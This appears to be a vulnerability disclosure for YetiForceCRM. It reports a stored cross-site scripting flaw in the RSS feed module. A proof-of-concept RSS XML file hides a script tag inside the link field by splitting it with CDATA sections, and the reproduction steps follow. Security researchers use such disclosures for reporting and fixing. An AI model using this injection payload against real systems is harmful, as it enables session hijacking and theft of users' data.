Description

YetiForceCRM allows user create RSS Feeds without purifying the link field of the input data properly from external source. An attacker can take advantage of this vulnerability to perform an XML Injection attack that leads to stored cross-site scripting (XSS) on the target server.

Proof of Concept

Payload

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>RSS Test</title>
    <link><![CDATA["]]><![CDATA[>]]><![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></link>
    <description>RSS Test Description</description>
    <lastBuildDate>Fri, 12 Aug 2022 00:00:00 -0000</lastBuildDate>
    <item>
        <title>RSS Test</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>user@example.com</author>
        <pubDate>Fri, 12 Aug 2022 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

Reproduction steps

• Step 1: Create a file rss_xss.xml with the content of the payload above

PoC - Step 1

• Step 2: Add Feed Source via module Rss

PoC - Step 2

• Step 3: Click Save and the XSS should fire

PoC - Step 3

PoC - Step 3-2

Impact

This vulnerability allows attackers to hijack the user's current session, steal relevant information, deface website or direct users to malicious websites,...